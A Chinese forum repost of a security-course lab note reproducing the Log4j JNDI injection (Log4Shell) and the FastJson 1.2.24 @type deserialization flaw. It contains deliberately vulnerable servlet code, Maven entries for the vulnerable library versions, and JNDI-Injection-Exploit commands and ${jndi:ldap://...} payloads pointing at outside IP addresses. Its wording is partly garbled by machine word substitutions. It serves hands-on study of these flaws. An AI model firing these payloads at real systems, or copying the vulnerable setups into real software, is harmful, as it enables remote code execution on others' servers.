没腿的鸟 发表于 2025-2-16 07:36:48

第36天:安全开辟-JavaEE应用&第三方组件&Log4j日志&FastJson序列化&JNDI注

时间轴:
https://i-blog.csdnimg.cn/direct/80fdf6b7bd2649f2a59efdc2ec3bf9e7.jpeg

   演示案例:

Java-三方组件-Log4J&JNDI
Java-三方组件-FastJson&反射

Maven的下载及配置:

   IDEA配置Maven的超具体步骤_java_脚本之家    Java-三方组件-Log4J&JNDI

   JNDI   注入:(见图)   Java Naming and Directory Interface (Java   定名和目录接口   ),JNDI   提   供统一的客户端   API,通过差别的服务供应接口(SPI)的实现,由管理者将   JNDI API   映射为特定的定名服务和目录服务,使得   JAVA   应用程可以通过   JNDI   实现和这些定名   服务和目录服务之间的交互。   #Java-三方组件-Log4J&JNDI   Log4J:   Apache   的一个开源项目,通过使用   Log4j,我们可以控制日志信息运送的目的地是控制   台、文件、GUI   组件,乃至是套接口服务器、NT   的事件记录器、UNIX Syslog   保卫进   程等;我们也可以控制每一条日志的输出格式;通过界说每一条日志信息的级别,我们能   够更加细致地控制日志的天生过程。最令人感爱好的就是,这些可以通过一个配置文件来   灵活地进行配置,而不必要修改应用的代码。   Log4j-组件安全复现   1、Maven   引用   Log4j   2、继承用户输入值   3、Log4j   处理错误输入   4、使用   jndi-ldap   实验   Test:   String code="test";   String code="${java:os}";   logger.error("{}",code);   String exp="${jndi:ldap://xx.xx.xx.xx:xx/xxx}";   服务器:   java -jar JNDI-Injection-Exploit.jar -C "calc" -A xx.xx.xx.xx   1.创建新项目
https://i-blog.csdnimg.cn/direct/06d7fae1f62c4cd28fb2163ce2405738.png
2.log4j组件的导入
   Jar   仓库:   https://mvnrepos<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.1</version>
</dependency>
https://mvnrepos搜刮log4j,选择第一个
https://i-blog.csdnimg.cn/direct/880a64cfd25b4663ae3cc4679f80a608.png
进入后选择2.1.4
https://i-blog.csdnimg.cn/direct/32831e8efef04d898880efae6b4608cc.png
复制其maven
https://i-blog.csdnimg.cn/direct/3cd2bdf1761147249a7c7c08b3613fbb.png
maven代码:
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.1</version>
</dependency>

点击上面的https://i-blog.csdnimg.cn/direct/897d412fd6e247428a7d3245df3bde39.pnghttps://i-blog.csdnimg.cn/direct/2cf77b600ee040f19dcf227081169c64.png
会在外部多加两个库:
   https://i-blog.csdnimg.cn/direct/a482883cbcb84163a19448a4fd002d7e.png    改为2.14.0的话,自动会酿成2.14.0的包      Log4jTest:
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;


public class Log4jTest {

    //使用Log4j 实现错误日志输出
    private static final Logger logger = LogManager.getLogger(Log4jTest.class);

    public static void main(String[] args) {

      //如果这个code变量是可控的
      String code="${java:os}";
      logger.error("{}",code);
    }

}

Logger选择此项:
https://i-blog.csdnimg.cn/direct/33d5a0be05cb43a8b13b3943586f03e9.png
正常情况运行的话:
    https://i-blog.csdnimg.cn/direct/e9d6447c54d44a9d95d60a6e00bb3ab1.png   使用Log4j 实现错误日志输出:
https://i-blog.csdnimg.cn/direct/863ebeb1e34a4d6888cc9042ad6e436f.png
    os的意思是体系的意思。   vm是java的假造器   测试毛病

   创建一个新项目Log4jWebDemo,在下面创建一个Log4jServlet。      将log4j的包导入进web.xml去(和上面的方法一样)       Log4jServlet:    package com.example.log4jwebdemo;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;




@WebServlet("/log4j")
public class Log4jServlet extends HttpServlet {
    //构造HTTP Web服务 使用带漏洞Log4j版本 实现功能
    private static final Logger log= LogManager.getLogger(Log4jServlet.class);
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
      String code =req.getParameter("code");

      log.error("{}",code);
    }
}
使用http://localhost:8080/Log4jWebDemo_war_exploded/log4j?code={$java:os}
正常情况:(在最下面能看到体系)
https://i-blog.csdnimg.cn/direct/167440d4e1c547bf85a4001ad341eecb.png
当遇到一下情况时:
    https://i-blog.csdnimg.cn/direct/d7f4a06467c3413e95a70cc7ef1bca1a.png   借助文章:    从0到1java安全5_jndi-injection-exploit-1.0-snapshot-all.jar-CSDN博客   在tomcat下的./conf/service.xml 中重写Connector这个地方 。   <Connector port="8080" protocol="HTTP/1.1"
         connectionTimeout="30000"
               maxThreads="800"
               minSpareThreads="50"
         redirectPort="8443"
         URIEncoding="ISO-8859-1"
         relaxedQueryChars="[,],|,{,},^,&#x5c;,&#x60;,&quot;,&lt;,&gt;"/>
版权声明:本文为博主原创文章,遵照 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
                        
原文链接:从0到1java安全5_jndi-injection-exploit-1.0-snapshot-all.jar-CSDN博客
网上毛病注入:

   Log4j高危毛病原理及复现_log4j毛病修复-CSDN博客   JNDI&RMI&LDAP介绍+log4j分析_jdbc-ldap-CSDN博客   使用xshell天生JNDI进行毛病注入:

    https://i-blog.csdnimg.cn/direct/ab28662143504eb586f624123d765813.png    https://i-blog.csdnimg.cn/direct/376147daaa32442b8e5105a06b592b68.png    为什么使用JNDI?原因如下:    https://i-blog.csdnimg.cn/direct/8ef500c9f14c48cf86c727f7a57a89ef.png       使用xshell进行操作:   1.先更新源

sudo apt update


2.安装java

sudo apt install default-jre

3.切换到目录
cd /


4.使用java打开jar文件
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar


https://i-blog.csdnimg.cn/direct/46e96170781d456ab6b82bfdee948785.png
下面使用的ip为linux的ip
    https://i-blog.csdnimg.cn/direct/47f7c239691b47688f99305bbb9d76c0.png    使用    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A 47.239.89.173留意使用版本jdk必须小于jdk8u 121,本人使用112
      https://i-blog.csdnimg.cn/direct/3fd0a84dccd24813b663b1c201b5215e.png    使用网址localhost:8080/Log4jWebDemo_war_exploded/log4j?code=${jndi:ldap://47.239.120.145:1389/tv9lqn}    得到结果如下:(但不知为何没弹出计算器,其他dnslog.cn都可以用)    https://i-blog.csdnimg.cn/direct/f9b7970300064f9aa18f8aa896c578c1.png      完备代码:    package com.example.log4jwebdemo;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;


@WebServlet("/log4j")
public class Log4jServlet extends HttpServlet {
    //构造HTTP Web服务 使用带漏洞Log4j版本 实现功能
    private static final Logger log= LogManager.getLogger(Log4jServlet.class);
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
      String code =req.getParameter("code");
      //code=$(java:os) 输出执行结果
      //code=(java:os) 正常输入
      //${jndi:ldap://47.94.236.117:1389/uyhyw6}
      //${jndi:ldap://xxxx.dns.log}
      //ldap://47.94.236.117:1389/uyhyw6 生成的远程可访问的调用方法
      //什么方法? -C "calc" 执行计算机的功能方法(JNDI注入工具生成的)
      log.error("{}",code);

      //1、开发源码中引用漏洞组件如log4j
      //2、开发中使用组件的代码(触发漏洞代码)
      //3、可控变量去传递Payload来实现攻击
    }
}
Java-三方组件-FastJson&反射

   FastJson:   在前后端数据传输交互中,经常会遇到字符串(String)与   json,XML   等格式相互转换与   解析,此中   json   以跨语言,跨前后端的优点在开辟中被频仍使用,基本上是标准的数据   互换格式。它的接口简单易用,已经被广泛使用在缓存序列化,协议交互,Web   输出等各   种应用场景中。FastJson   是阿里巴巴的的开源库,用于对   JSON   格式的数据进行解析和      1.创建FastjsonDemo:    https://i-blog.csdnimg.cn/direct/03f8b4c025894bbbbbc71afa18f88735.png   2.配置Fastjson:   https://mvnrepository.com/    版本:    1.2.24   <!-- https://mvnrepository.com/artifact/com.alibaba/fastjson -->
<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.24</version>
</dependency>    https://i-blog.csdnimg.cn/direct/5d67c54d6662437392406fd29d9583ce.png      创建软件包com.xiaodi:
     创建User:   package com.xiaodi;


//给fastjson数据转换测试用的
public class User {
    private String name;
    private Integer age;

    public Integer getAge() {
      return age;
    }

    public String getName() {
      return name;
    }


    public void setAge(Integer age) {
      this.age = age;
      System.out.println(age);
    }

    public void setName(String name) {
      this.name = name;
      System.out.println(name);
    }
}
创建Fastjson
    package com.xiaodi;


import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;

//使用fastjson去处理User类数据
public class FastjsonTest {
    public static void main(String[] args) {
      //u Object对象
      //Integer age String name 字符串数据
      User u = new User();
      u.setAge(30);
      u.setName("xiaodi");
      //System.out.println(u);

      //我们想把数据转换成Json格式数据,我不想用自带的API(太麻烦)
      //我就选择第三方组件fastjson来去做这个功能
      //讲json对象转换json数据
          String jsonString = JSONObject.toJSONString(u);
          System.out.println("这就是json格式:"+jsonString);


    }


}
使用json格式输出时间:https://i-blog.csdnimg.cn/direct/e6b34ca8be664782a51260bf6bd7a23e.png
   Fastjson毛病造成:

当json转换为对象的时间,翻译从User改为Run从而调用错误。
    String test = "{\"@type\":\"com.xiaodi.User\",\"age\":30,\"name\":\"xiaodi\"}";
 String test = "{\"@type\":\"com.xiaodi.Run\",\"age\":30,\"name\":\"xiaodi\"}";    package com.xiaodi;


import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;

//使用fastjson去处理User类数据
public class FastjsonTest {
    public static void main(String[] args) {
      //u Object对象
      //Integer age String name 字符串数据
      User u = new User();
      u.setAge(30);
      u.setName("xiaodi");
      //System.out.println(u);

      //我们想把数据转换成Json格式数据,我不想用自带的API(太麻烦)
      //我就选择第三方组件fastjson来去做这个功能
      //讲json对象转换json数据
//      String jsonString = JSONObject.toJSONString(u);
//      System.out.println("这就是json格式:"+jsonString);

       //分析漏洞利用 多输出 转换数据的类型(类) 告诉大家其实前面有一个@type 转换对象类包
//      String jsonString1 = JSONObject.toJSONString(u, SerializerFeature.WriteClassName);
//      System.out.println(jsonString1);

      //上述对象 -> JSON


      //下面JSON -> 对象


      //String test = "{\"@type\":\"com.xiaodi.User\",\"age\":30,\"name\":\"xiaodi\"}";
      String test = "{\"@type\":\"com.xiaodi.Run\",\"age\":30,\"name\":\"xiaodi\"}";

      //实战中com.xiaodi.Run 我们不知道 固定调用
      //rmi ldap 去触发远程的class 执行代码(RCE)

      JSONObject jsonObject = JSON.parseObject(test);
      System.out.println(jsonObject);

    }


}
https://i-blog.csdnimg.cn/direct/e3c2eb864977460c82f2c6e1d2047c2e.png
毛病exp文章:

    fastjson1.2.24 反序列化导致恣意下令实验毛病(CVE-2017-18349)_fastjson<= 1.2.24 反序列化导致恣意下令实验毛病(cve-2017-18349)-CSDN博客      https://i-blog.csdnimg.cn/direct/08deae1319ad4cc887e16adf1e09714a.png      使用dnslog.cn来判断毛病;    Fastjson 1.2.47 反序列化(CVE-2017-18349)毛病复现_毛病复现 fastjson1.2.47反序列化毛病-CSDN博客      本文章由李豆豆喵和番薯小羊卷~共同完成。
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页: [1]
查看完整版本: 第36天:安全开辟-JavaEE应用&第三方组件&Log4j日志&FastJson序列化&JNDI注